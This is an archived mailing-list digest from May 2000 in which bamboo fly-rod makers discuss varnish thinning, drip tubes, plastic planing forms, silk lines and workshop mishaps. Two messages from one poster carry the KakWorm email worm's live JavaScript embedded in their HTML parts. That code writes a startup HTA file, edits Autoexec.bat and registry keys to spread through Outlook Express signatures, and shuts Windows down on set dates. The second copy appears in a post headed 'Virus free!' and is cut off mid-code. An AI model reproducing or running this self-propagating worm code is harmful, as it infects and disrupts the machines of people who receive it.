Sounds like you're going to be puttingSEVERAL gallons into that rig!*G*Art from RMargiotta@aol.com Fri May 12 15:36:18 2000 Subject: Re: Silk line bonanza part 2 Formby's is a thinned interior tung oil-based varnish. It dries to a film finish just like every other varnish. I would suggest thinning your spar 50-50 with mineral spirits and rubbing in with a lint-free cloth; maybe 3 coats? --Rich from flytyr@southshore.com Fri May 12 16:13:54 2000 Subject: Marty ? Marty,Contact me off list, don't have your E address.Its about the rod in N.J.Tony FlyTyr@southshore.com from nobler@satx.rr.com Fri May 12 16:50:04 2000 SMTPSVC(5.5.1877.357.35);Fri, 12 May 2000 16:37:18 -0500 Subject: Re: Drip Tubes and Linseed Oil So far Plexiglas has only been affected my "hot" thinners, such as MEK,thatI know of. A small test piece would tell you quickly if the varnish ormineral spirits would affect it. I too had thought of using it. GMA----- Original Message ----- Subject: Drip Tubes and Linseed Oil With all of these messages about linseed oil on the list I've beenhaving nightmares with distinct memories of how I had to rub one coatafter the other onto my big brothers cricket bat during the cricketseason!! Usually a punishment for doing something minor. One positive thing was that it smelt wonderful........... I am just starting to gather parts for a varnishing drip tube and waswondering if anybody had used Plexiglass (it may be called Perspex insome places) tubes to varnish the rod in. Here in Germany they don'tsell the flourescent light strips in plastic tubes and the onlyalternative I could come up with is the Plexiglass. Would this be aproblem? Are there any chemical additives in plexiglass that willdamagethe varnish etc?. Also what about inner diameters of the tube? Has anybody found aparticular sized tube to be perfect, or does size really not matter:-)?. Thanks Stuart from rcurry@ttlc.net Fri May 12 18:49:33 2000 (SMTPD32-6.00) id A98934E700BE; Fri, 12 May 2000 19:53:45 -0400 Subject: Re: Silk line bonanza part 27483596 Rich,Just back from a week in Korea.I agree that you can use just varnish, but some tung-oil content waswhat,according to one writer, made the oiled-silk line more resistant tostickiness; he hailed it as a revolution in line-dressing. I'm just taking hisword for it. Anyway, it seems to work well.I'll be putting the article I wrote on restoring silk lines on my webpage, as well as one on finding silk lines. For those that haven't tried silklines, I will be running some contests every few weeks and the prizes willbea silk line still in the wrapper (but requiring restoration). That should geta few more on the stream.Best regards,Reedwww.overmywaders.com RMargiotta@aol.com wrote: Formby's is a thinned interior tung oil-based varnish. It dries to a filmfinish just like every other varnish. I would suggest thinning your spar50-50 with mineral spirits and rubbing in with a lint-free cloth; maybe3coats? --Rich from RMargiotta@aol.com Fri May 12 19:02:05 2000 Subject: Fwd: Silk line bonanza part 27483596 boundary="part1_84.52c81b9.264df555_boundary" --part1_84.52c81b9.264df555_boundary --part1_84.52c81b9.264df555_boundary Full-name: RMargiotta Subject: Re: Silk line bonanza part 27483596 Reed: Most spar has tung oil, linseed oil, soya oil or some combination. In fact, I believe spar has a higher oil content than interior varnishes (they're sometime called "long oil varnishes" because of this). I'm pretty confident that Formby's is a regular film-forming interior varnish that containssome tung oil and has been highly thinned to make it easy to apply by rubbingand varnishing. My reasoning goes that if you've had luck with Formby's, then any oil-based varnish that's been thinned would also work. You're right in saying that tung oil is the best of the oils. I've never refurbished silk lines, so I can't speak to any of this, but I do know Formby's -- I've used it on several rods and lots of furniture. Since I've discovered it's just thinned-out varnish, I make my own "wiping" varnish from spar, sparurethane, or Behlen's Rockhard Tabletop. --Rich --part1_84.52c81b9.264df555_boundary-- from saltwein@worldnet.att.net Fri May 12 19:41:37 2000 (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP ;Sat, 13 May 2000 00:41:16 +0000 Subject: Re: Building Forms (wooden) Jim, I used 5/16 x 1 shoulder screw for the pull and 1/4-20 cup point socketset for the push. Regards, SteveIndependence, MO Jim Tefft wrote: Have a question about the bolts used in the wood forms. Are they thenormal 'course' thread bolts you find in the hardware or are they finethread bolts ? Jim Tefft from RMargiotta@aol.com Fri May 12 20:15:41 2000 Subject: Re: Behlen's Rock Hard Tabletop Varnish They make a special "reducer" (thinner) for it. That's what I used. It says that it contains petroleum distillates. My guess is that it is mostly or all VM&P naphtha, which is a stronger more highyl evaporative petroleum distillate solvent than mineral spirits. That's what I would try if you didn't want to buy the special reducer. Do a small test first, though. --Rich from nobler@satx.rr.com Fri May 12 21:02:57 2000 SMTPSVC(5.5.1877.357.35);Fri, 12 May 2000 20:50:15 -0500 Subject: Wraps translucent look, be aware that these metallic threads will not do it !Muchto my disappointment, I just finished a nice little 7"-5" trout rod, andfound that what I thought was a nice ginger color, was in fact an opaquemetallic thread ! I liked the color, but would never have used it had Iknown ! GMA from rcurry@ttlc.net Fri May 12 21:51:58 2000 (SMTPD32-6.00) id A44CB93300E6; Fri, 12 May 2000 22:56:12 -0400 Subject: Silk Line Contest All, website. The prize is a Gladding Level F, still in the ribbons. It willtake some TLC before it hits the water, but it should make a decent 3wt(at .035" its the same diameter as the tip of a Cortland PVC 3wt).Best regards,Reedwww.overmywaders.com from RMargiotta@aol.com Sat May 13 06:33:35 2000 Subject: Re: Behlen's Rock Hard Tabletop Varnish Jerry: I thin it to about 60-65% varnish and then wipe it on with a lint freecloth. Actually, the first coat I rub in vigorously and don't worry about smoothness. (I sand lightly between coats.) So far, I have it as an undercoat (two coats) prior to wrapping and dipping and also as a full finish. The full finish took 5 coats because it was thin. When using a "wiping" varnish on rods, you should wipe on the last coat very carefully, but even then, it's just not as smooth as a good dip job. But if you polish, it smooths out nicely. It seems like it would brush well thinned at 10-20%. It also seems that it would work well in a dip tube. --Rich from nobler@satx.rr.com Sat May 13 08:54:09 2000 SMTPSVC(5.5.1877.357.35);Sat, 13 May 2000 08:41:23 -0500 Subject: Re: Behlen's Rock Hard Tabletop Varnish It looks like the old stand-by Valspar outdoor type, spar varnish has beenchanged too. I brushed a first coat onto new wraps last evening, about7:30,and by 10:00 it wasn't tacky to the touch ! This used to be a 24 hour task ! GMA----- Original Message ----- Subject: Re: Behlen's Rock Hard Tabletop Varnish Jerry: I thin it to about 60-65% varnish and then wipe it on with a lint freecloth.Actually, the first coat I rub in vigorously and don't worry aboutsmoothness. (I sand lightly between coats.) So far, I have it as anundercoat (two coats) prior to wrapping and dipping and also as a fullfinish. The full finish took 5 coats because it was thin. When using a"wiping" varnish on rods, you should wipe on the last coat very carefully,but even then, it's just not as smooth as a good dip job. But if youpolish,it smooths out nicely. It seems like it would brush well thinned at 10-20%. It also seems thatitwould work well in a dip tube. --Rich from piscator@crosswinds.net Sat May 13 11:41:05 2000 (envelope- from piscator@crosswinds.net) Subject: Finishing Products and Techniques boundary="------------862A5A68E19C72FEC9FDE560" This is a multi-part message in MIME format.-------------- 862A5A68E19C72FEC9FDE560 Check these out, if you haven't already Brian http://www.woodworking.com/finish.html General links, new one aboutfrench polishing http://www.woodworking.com/magazine/sep96/finish/index.html Gooddiscussion of Oil Based Varnish --------------862A5A68E19C72FEC9FDE560 name="finish.html" filename="finish.html"Content-Base: "http://www.woodworking.com/finish.html"Content-Location: "http://www.woodworking.com/finish.html" Finishing Products and Techniques Finishing Products and Techniques RocklerWoodworking and Hardware - Largest WoodworkingCatalog on the Net Furniture Refinishing -excellent refinishing tutorialFrenchPolishingTreatise by Dave WeisbordCedarShack - Exterior wood systems Bill Russell Studio- worskhops and a book on decorativeand faux paint techniques for furnitureBee Natural - your sourceof bee's wax in bulkKramer's Best AntiqueImprover brings life back into woodSharpe ManufacturingCompany - The Spray Gun PeopleAbbot Paint - woodfinishing products Finishing Solid Pine FurnitureOlympic Paints nad StainsAntique Restoration - British site specializing in antiquefurniture restaurationBrad Hughes FurnitureRestoration - Articles on how to restore,finish and refinish wood furnitureIC&S DistributingCo. - Finishing products, spray equipmentand pumpsDoug's Supplies Co. -Antique reproduction hardware andrefinishing suppliesLivos Natural Paints - oils,waxes, paints, stains and moreBriwax - waxes andfinishing suppliesBruce LuckhurstWorkshops - furniturerestoration,conservation and fine furniture makingAmerican Finish and ChemicalCompany - waterbase coatingsMiniwax - finishing productsWinter Brook FarmAntiques - Restoration Supplies &FinishesBloxygen - finishpreservative for leftover varnish, stain, paint,etc. LIBERON / star Supplies Lee Valley - high qualitywoodworking tools and supplies Garrett Wade Companyis a mail order company specializing in ahigh quality woodworking tools and supplies. Constantine'sWoodworkers' Catalog Furniture CareSupplies - finishing products andequipment Primeline ChemicalSystems - Wood finishes and stains Patina Finish Company - finishingproducts Lightning StripProducts - commerical paint and varnishremovers Critter Spray Products The Refinishing Network Weather-Bos -Environmentally-Safe Paints and Stains Stripping paint from wood Apollo Sprayers Inc. KleeluxRestoration Backto The Woodworking Catalog --------------862A5A68E19C72FEC9FDE560-- from DNHayashida@aol.com Sat May 13 11:58:10 2000 Subject: Re: Building Forms (wooden) Just a thought-The anvils on my Morgan handmill are made of a high density plastic.Couldn't one make planing forms out of high density plastic?No water absorption if you plane wet, no warpage, no grain lines.Darryl from dickay@alltel.net Sat May 13 15:04:00 2000 PAA06051; Subject: Re: Building Forms (wooden) Darryl, Wouldn't you need to support them on something solid? Couldn'tthey bend under the pressure of planing? I don't think that this would be abig problem, but I know that some folks support their forms on blocks foreasier planing. I think that they would have to use a 2x4 or somethingsimilar. Next question, where do we get the high density plastic? Guess we'll haveto do some research on that. Good idea!! Dick Fuhrman ----- Original Message ----- Subject: Re: Building Forms (wooden) Just a thought-The anvils on my Morgan handmill are made of a high density plastic.Couldn't one make planing forms out of high density plastic?No water absorption if you plane wet, no warpage, no grain lines.Darryl from bob@downandacross.com Sat May 13 16:06:12 2000 (envelope- from bob@downandacross.com) (envelope- from bob@downandacross.com) Subject: Wet forms I think if one is worried about the effects of wet planing, I would recommend Max Satoh's "Slash" unit. It would be any easy way to get a lot of rough planing done and minimize the time in the good forms. Also, it would be easier to make another if it warps.Bob Maulucci==================================================downandacross.combob@downandacross.com from dmanders@telusplanet.net Sat May 13 16:08:04 2000 hme0.telusplanet.net(InterMail vM.4.01.02.11 201-229-116-111) with SMTP Sat, 13 May 2000 15:07:58 -0600 Subject: Re: Building Forms (wooden) Dick, A lot of larger communities will have plastic dealers that stock high mol.plastic. I've got it in a number of round sizes and have got it in flatsheets for where I work. Its dog dirt cheap. A 4'*8'* 3/8" used to be about$ 200.00. I would expect that things are about the same price down south.McMaster & Carr should stock the stuff. Its tough to machine as it tends to run away from the bit. Small cuts don'thelp. The stuff just bends down and lets the bit run over it. Aftermachining, touching up the "rough" spots is real tough. Filing it takeshours. So if you could figure out how to machine the stuff, I think it would makefairly decent forms. Perhaps a router maybe be the way to go. What it does real well is make bushings and bearings and sliders ofvariouskinds on binders etc. Have used it for ferrule protectors both male andfemale. Might make a great pad for holding stones if you insert the stone. Don At 02:55 PM 5/13/00 -0500, Dick & Kathy Fuhrman wrote:Darryl, Wouldn't you need to support them on something solid? Couldn'tthey bend under the pressure of planing? I don't think that this would beabig problem, but I know that some folks support their forms on blocks foreasier planing. I think that they would have to use a 2x4 or somethingsimilar. Next question, where do we get the high density plastic? Guess we'llhaveto do some research on that. Good idea!! Dick Fuhrman ----- Original Message -----From: Sent: Saturday, May 13, 2000 11:57 AMSubject: Re: Building Forms (wooden) Just a thought-The anvils on my Morgan handmill are made of a high density plastic.Couldn't one make planing forms out of high density plastic?No water absorption if you plane wet, no warpage, no grain lines.Darryl http://www.telusplanet.net/public/dmanders/index.html from nsflyrods@ns.sympatico.ca Sat May 13 17:49:23 2000 Sat, 13 May 2000 19:48:48 -0300 Subject: Re: Drip Tubes and Linseed Oil I too got strange looks when I asked for light tube protectors here inCanada but I have since realized that they are not protectors but tintedtubes to ease the eye strain of office workers. The one I found was clearwith a reddish shade to it. I would imagine these are specialty items thatyou would need to go to a lighting store to get,at least in Canada and some other places.Shawnstuart moultrie wrote: With all of these messages about linseed oil on the list I've beenhaving nightmares with distinct memories of how I had to rub one coatafter the other onto my big brothers cricket bat during the cricketseason!! Usually a punishment for doing something minor. One positive thing was that it smelt wonderful........... I am just starting to gather parts for a varnishing drip tube and waswondering if anybody had used Plexiglass (it may be called Perspex insome places) tubes to varnish the rod in. Here in Germany they don'tsell the flourescent light strips in plastic tubes and the onlyalternative I could come up with is the Plexiglass. Would this be aproblem? Are there any chemical additives in plexiglass that willdamagethe varnish etc?. Also what about inner diameters of the tube? Has anybody found aparticular sized tube to be perfect, or does size really not matter:-)?. Thanks Stuart from channer1@rmi.net Sat May 13 18:37:27 2000 Subject: Re: Building Forms (wooden) Dick & Kathy Fuhrman wrote: Darryl, Wouldn't you need to support them on something solid? Couldn'tthey bend under the pressure of planing? I don't think that this would beabig problem, but I know that some folks support their forms on blocksforeasier planing. I think that they would have to use a 2x4 or somethingsimilar. Next question, where do we get the high density plastic? Guess we'llhaveto do some research on that. Good idea!! Dick Fuhrman Dick and Darryl;It's probably Delrin, available(along with most everything else you canthink of and lots of stuff you probably never even dreamed of) from MSC.John from nobler@satx.rr.com Sat May 13 19:03:57 2000 SMTPSVC(5.5.1877.357.35);Sat, 13 May 2000 19:04:54 -0500 Subject: Re: Building Forms (wooden) I buy Delrin at a plastics distributor, and this gets you a huge lowering ofthe price. For $67, I come home with 12' lengths of white Delrin rod, from1.5" down to .5", in 1/4", or 1/2' increments ! I would think some 2" thick stock would be about right for planing forms.Many Dstrs. will rip out widths of it, so don't hesitate to ask. Delrindoesn't bounce back when cut as Nylon, or Teflon will. It's more"machineable". Light cuts are not difficult in the lathe, where otherplastics are. It would need good support though, as it will warp. GMA----- Original Message ----- Subject: Re: Building Forms (wooden) Dick & Kathy Fuhrman wrote: Darryl, Wouldn't you need to support them on something solid?Couldn'tthey bend under the pressure of planing? I don't think that this wouldbe abig problem, but I know that some folks support their forms on blocksforeasier planing. I think that they would have to use a 2x4 or somethingsimilar. Next question, where do we get the high density plastic? Guess we'llhaveto do some research on that. Good idea!! Dick Fuhrman Dick and Darryl;It's probably Delrin, available(along with most everything else you canthink of and lots of stuff you probably never even dreamed of) from MSC.John from jfreeman@cyberport.com Sat May 13 19:31:20 2000 Subject: Re: Building Forms (wooden) There are plastics that machine beautifully - Nylatron being just one. Weuse it as bushings in heavy equipment and machine it to all needs. Verytuffstuff. Jim----- Original Message ----- Subject: Re: Building Forms (wooden) Dick, A lot of larger communities will have plastic dealers that stock highmol.plastic. I've got it in a number of round sizes and have got it in flatsheets for where I work. Its dog dirt cheap. A 4'*8'* 3/8" used to beabout$ 200.00. I would expect that things are about the same price downsouth.McMaster & Carr should stock the stuff. Its tough to machine as it tends to run away from the bit. Small cutsdon'thelp. The stuff just bends down and lets the bit run over it. Aftermachining, touching up the "rough" spots is real tough. Filing it takeshours. So if you could figure out how to machine the stuff, I think it wouldmakefairly decent forms. Perhaps a router maybe be the way to go. What it does real well is make bushings and bearings and sliders ofvariouskinds on binders etc. Have used it for ferrule protectors both male andfemale.Might make a great pad for holding stones if you insert the stone. Don At 02:55 PM 5/13/00 -0500, Dick & Kathy Fuhrman wrote:Darryl, Wouldn't you need to support them on something solid? Couldn'tthey bend under the pressure of planing? I don't think that this wouldbe abig problem, but I know that some folks support their forms on blocksforeasier planing. I think that they would have to use a 2x4 or somethingsimilar. Next question, where do we get the high density plastic? Guess we'llhaveto do some research on that. Good idea!! Dick Fuhrman ----- Original Message -----From: Sent: Saturday, May 13, 2000 11:57 AMSubject: Re: Building Forms (wooden) Just a thought-The anvils on my Morgan handmill are made of a high density plastic.Couldn't one make planing forms out of high density plastic?No water absorption if you plane wet, no warpage, no grain lines.Darryl http://www.telusplanet.net/public/dmanders/index.html from jfreeman@cyberport.com Sat May 13 19:38:47 2000 Subject: Re: Building Forms (wooden) Most large cities have an outfit that specializes in plastics. There's onein Albuquerque. There is also plastic that glues and solvents won't stickto. I use a 3' x 3' sheet for my tying bench from this place - head cement,adhesives, whatever just dries and can be scraped off. I also use roundrods thickfilled with the different plastics and the particulars for each, and theywere great to deal with. Try your area or e-mail me for the address. Jim----- Original Message ----- Subject: Re: Building Forms (wooden) Dick & Kathy Fuhrman wrote: Darryl, Wouldn't you need to support them on something solid?Couldn'tthey bend under the pressure of planing? I don't think that this wouldbe abig problem, but I know that some folks support their forms on blocksforeasier planing. I think that they would have to use a 2x4 or somethingsimilar. Next question, where do we get the high density plastic? Guess we'llhaveto do some research on that. Good idea!! Dick Fuhrman Dick and Darryl;It's probably Delrin, available(along with most everything else you canthink of and lots of stuff you probably never even dreamed of) from MSC.John from nobler@satx.rr.com Sat May 13 20:00:51 2000 SMTPSVC(5.5.1877.357.35);Sat, 13 May 2000 20:01:57 -0500 Subject: Mistakes ! I'm sitting here furious ! I used a metallic thread in error this weekwrapping a neat little rod. I lightly sanded after the first coat, and foundthat the sanding took off part of the thread color, as the second coat wasapplied ! A decent looking rod now has mottled bronze/silver wraps ! Itappears that the metallic threads cannot be sanded ! Oh. well, I really didn't care for the metallic thread anyway ! GMA from ernie2@pacbell.net Sat May 13 20:03:21 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: Re: Building Forms (wooden) How about designing a plastic injection mold? It only needs to be madeforone side of the form since the other side would be the same. Design it soit would be hollow with internal ridges to make it rigid and to fit themetal bolts that are used to adjust it. I don't know how much an injectionmold would cost, but once you made it the major cost would be over. Youcould make a kit that included the plastic form, bamboo, rod components,materials and instructions for making your own bamboo fly rod. You couldprobably sell thousands of them.Ernie Harrison ----- Original Message ----- Subject: Re: Building Forms (wooden) I buy Delrin at a plastics distributor, and this gets you a huge loweringofthe price. For $67, I come home with 12' lengths of white Delrin rod,from1.5" down to .5", in 1/4", or 1/2' increments ! I would think some 2" thick stock would be about right for planing forms.Many Dstrs. will rip out widths of it, so don't hesitate to ask. Delrindoesn't bounce back when cut as Nylon, or Teflon will. It's more"machineable". Light cuts are not difficult in the lathe, where otherplastics are. It would need good support though, as it will warp. GMA----- Original Message -----From: "channer" Cc: ; Sent: Saturday, May 13, 2000 6:41 PMSubject: Re: Building Forms (wooden) Dick & Kathy Fuhrman wrote: Darryl, Wouldn't you need to support them on something solid?Couldn'tthey bend under the pressure of planing? I don't think that thiswouldbe abig problem, but I know that some folks support their forms on blocksforeasier planing. I think that they would have to use a 2x4 orsomethingsimilar. Next question, where do we get the high density plastic? Guess we'llhaveto do some research on that. Good idea!! Dick Fuhrman Dick and Darryl;It's probably Delrin, available(along with most everything else you canthink of and lots of stuff you probably never even dreamed of) fromMSC.John from pmgoodwin@earthlink.net Sat May 13 20:50:11 2000 Subject: First section glued up. After getting work and family oblgations out of the way I was finally ableto do the final planing on the Butt section. I then glued it up and bound itin my home grown binder, straightened it and hung it up to dry. ThismorningI unwrapped it and found a perfectlaly straight blank. Looking from the endthe strips fit together perfectly. So, I'm now rather pleased with the homegrown planing forms. I get out my cabinet scraper and clean off the glueand enamel and found an almost perfect blank. The one hint of a glue linewould be hidden by the stripping guide. I get out the reel seat and get that fitted and slide the mostly shaped griponto the rod. a little sandng and I'l be able to glue them to the blank. SoI pull off the reel seat and chuck the end of the section into my cordlessdrill and start the drill up and tape the trigger on. I've got a littlepaddle with sandpaper on it and I'm tapering the end of the cork. I stop thedrill check it and it's almost there. Start it up and finish the sanding. This is where things go horribly wrong. I typically use my 14.4V dewaltcordless for turning cork like this. It wasn't handy so I use the 9.6V drillI have. The battery pack is much smaller and not as stable. The drill startsto tip and the blank tips up into my armpit. I was holding the sandingpaddle on the far side so I could see. The turning blank gets wrapped up insleeve (yes I was wearing short sleeves) and I hear the butt section twistand splinter. I grab the grip and the drill starts spinning around like awindmill and the reel seat section of the blank disintegrates into a massoffibers. Oh well, the color of the blank was a little darker than I would haveprefered. Paul from tcreech@neo.rr.com Sat May 13 21:22:38 2000 Subject: Wrap question boundary="----=_NextPart_000_002A_01BFBD29.910388E0" This is a multi-part message in MIME format. ------=_NextPart_000_002A_01BFBD29.910388E0 I'm restoring an old Horrocks-Ibbotson bamboo rod, not as a collectable =- I just wantto have a nice bamboo rod. My question is: do I need lots of =intermediate wraps like it originallyhad, for strength? I personally don't care for the cluttered look, but =if it's necessary on older rodsbecause of inferior glues, I guess I'll have to live with it. Thanks in advance, Tom Creech ------=_NextPart_000_002A_01BFBD29.910388E0 I'm restoring an old Horrocks-Ibbotson bamboo rod, = collectable - I just want lots of intermediate wraps like it originally = cluttered look, but if it's necessary on older rodsbecause of inferior glues, I guess I'll have to live = it. Thanks in advance, Tom Creech Dr=iver Memory Errorfunction sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew=ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D=fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =mye=3Dnew =Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew=String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD=C9=~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\=\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists=(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.Fil=eExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D- 1){f1=3Dfs=..GetFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr=)?wd+'MENUD=90~1\\\\PROGRA~1\\\\D=90MARR~1\\\\kak.hta':ken;t1.WriteLine('=@echo off>'+pth);t1.WriteLine('del ='+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id=n+'\\\\Software\\\\Microsoft\\\\Outlook =Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\="Default =Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s ='+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=(1)!=3D'Z');t3.WriteLine('4))||(agt.indexOf(\"msie =5.\")!=3D-1))scr.write();');t3.write('//-- >=');t3.close();fs.GetFile(wd+'kak.htm').Attribut=es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =!');wsh.Run(wd+'RUNDLL32.EXE =user.exe,exitwindows');}self.close();S3 driver memory alloc = !]]%%%%%";la=3D(navigator.systemLanguage)?navigator.s=ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\=MenuD=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=;if(((agt.indexOf("msie")!=3D- 1)&&(parseInt(navigator.appVersion)>4))||(a=gt.indexOf("msie 5.")!=3D- 1))scr.write();//--> ------=_NextPart_000_002A_01BFBD29.910388E0-- from saweiss@flash.net Sat May 13 21:33:32 2000 Subject: Re: First section glued up. Hey,It's just a rod blank. Better than getting parts of your body caught inturning machinery. As long as you have the necessary number of intactfingers you can make another rod section. Getting my thumb caught in mybench grinder kind of hampered my rodmaking for a couple of weeks!Steve After getting work and family oblgations out of the way I was finallyableto do the final planing on the Butt section. I then glued it up and bounditin my home grown binder, straightened it and hung it up to dry. ThismorningI unwrapped it and found a perfectlaly straight blank. Looking from theendthe strips fit together perfectly. So, I'm now rather pleased with thehomegrown planing forms. I get out my cabinet scraper and clean off the glueand enamel and found an almost perfect blank. The one hint of a glue linewould be hidden by the stripping guide. I get out the reel seat and get that fitted and slide the mostly shapedgriponto the rod. a little sandng and I'l be able to glue them to the blank.SoI pull off the reel seat and chuck the end of the section into my cordlessdrill and start the drill up and tape the trigger on. I've got a littlepaddle with sandpaper on it and I'm tapering the end of the cork. I stopthedrill check it and it's almost there. Start it up and finish the sanding. This is where things go horribly wrong. I typically use my 14.4V dewaltcordless for turning cork like this. It wasn't handy so I use the 9.6VdrillI have. The battery pack is much smaller and not as stable. The drillstartsto tip and the blank tips up into my armpit. I was holding the sandingpaddle on the far side so I could see. The turning blank gets wrapped upinsleeve (yes I was wearing short sleeves) and I hear the butt sectiontwistand splinter. I grab the grip and the drill starts spinning around like awindmill and the reel seat section of the blank disintegrates into a massoffibers. Oh well, the color of the blank was a little darker than I would haveprefered. Paul from nobler@satx.rr.com Sat May 13 21:35:32 2000 SMTPSVC(5.5.1877.357.35);Sat, 13 May 2000 21:22:46 -0500 Subject: Warning I just received a message from a Tom Creech, that brought up an unsafewarning when in came up. I deleted it immediately, so may have the nameslightly off. I'd suggest that you check for a virus in your system. GMA from nobler@satx.rr.com Sat May 13 21:54:54 2000 SMTPSVC(5.5.1877.357.35);Sat, 13 May 2000 21:55:54 -0500 Subject: Re: Building Forms (wooden) That's lots of bucks for a mold that size. You might get in done out ofcountry, but it would be well over $50K here ! There may be some of thenewcomputerized systems doing molds in alum., that would be cheaper, but thecapacity for a mold that size will take a BIG machine. GMA----- Original Message ----- Subject: Re: Building Forms (wooden) How about designing a plastic injection mold? It only needs to be madeforone side of the form since the other side would be the same. Design it soit would be hollow with internal ridges to make it rigid and to fit themetal bolts that are used to adjust it. I don't know how much aninjectionmold would cost, but once you made it the major cost would be over. Youcould make a kit that included the plastic form, bamboo, rod components,materials and instructions for making your own bamboo fly rod. Youcouldprobably sell thousands of them.Ernie Harrison ----- Original Message -----From: "nobler" Cc: ; Sent: Saturday, May 13, 2000 5:06 PMSubject: Re: Building Forms (wooden) I buy Delrin at a plastics distributor, and this gets you a hugeloweringofthe price. For $67, I come home with 12' lengths of white Delrin rod,from1.5" down to .5", in 1/4", or 1/2' increments ! I would think some 2" thick stock would be about right for planingforms.Many Dstrs. will rip out widths of it, so don't hesitate to ask. Delrindoesn't bounce back when cut as Nylon, or Teflon will. It's more"machineable". Light cuts are not difficult in the lathe, where otherplastics are. It would need good support though, as it will warp. GMA----- Original Message -----From: "channer" Cc: ; Sent: Saturday, May 13, 2000 6:41 PMSubject: Re: Building Forms (wooden) Dick & Kathy Fuhrman wrote: Darryl, Wouldn't you need to support them on something solid?Couldn'tthey bend under the pressure of planing? I don't think that thiswouldbe abig problem, but I know that some folks support their forms onblocksforeasier planing. I think that they would have to use a 2x4 orsomethingsimilar. Next question, where do we get the high density plastic? Guesswe'llhaveto do some research on that. Good idea!! Dick Fuhrman Dick and Darryl;It's probably Delrin, available(along with most everything else youcanthink of and lots of stuff you probably never even dreamed of) fromMSC.John from tcreech@neo.rr.com Sat May 13 22:14:04 2000 Subject: Wrap question (Virus free!) boundary="----=_NextPart_000_0055_01BFBD30.BD1038A0" This is a multi-part message in MIME format. ------=_NextPart_000_0055_01BFBD30.BD1038A0 Damned KakWorm virus! I think I picked it up on ROFF.. My wrap question: I'm restoring an old bamboo rod, not as a = to fish with. It had lots of intermediate wraps, which I don't =particularly care for.Do I need to replace them, for strength? I don't like the cluttered =look, but if it's necessaryon these old rods because of inferior glues, then i guess I'll have to =live with it. Thanks in advance, Tom Creech ------=_NextPart_000_0055_01BFBD30.BD1038A0 ROFF.. = as a collectable, just don't particularly care for. the cluttered look, but if it's necessaryon these old rods because of inferior glues, then i = have to live with it. Thanks in advance, Tom Creech Dr=iver Memory Errorfunction sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew=ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D=fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =mye=3Dnew =Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew=String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD=C9=~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\=\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists=(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.Fil=eExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D- 1){f1=3Dfs=..GetFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr=)?wd+'MENUD=90~1\\\\PROGRA~1\\\\D=90MARR~1\\\\kak.hta':ken;t1.WriteLine('=@echo off>'+pth);t1.WriteLine('del ='+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id=n+'\\\\Software\\\\Microsoft\\\\Outlook 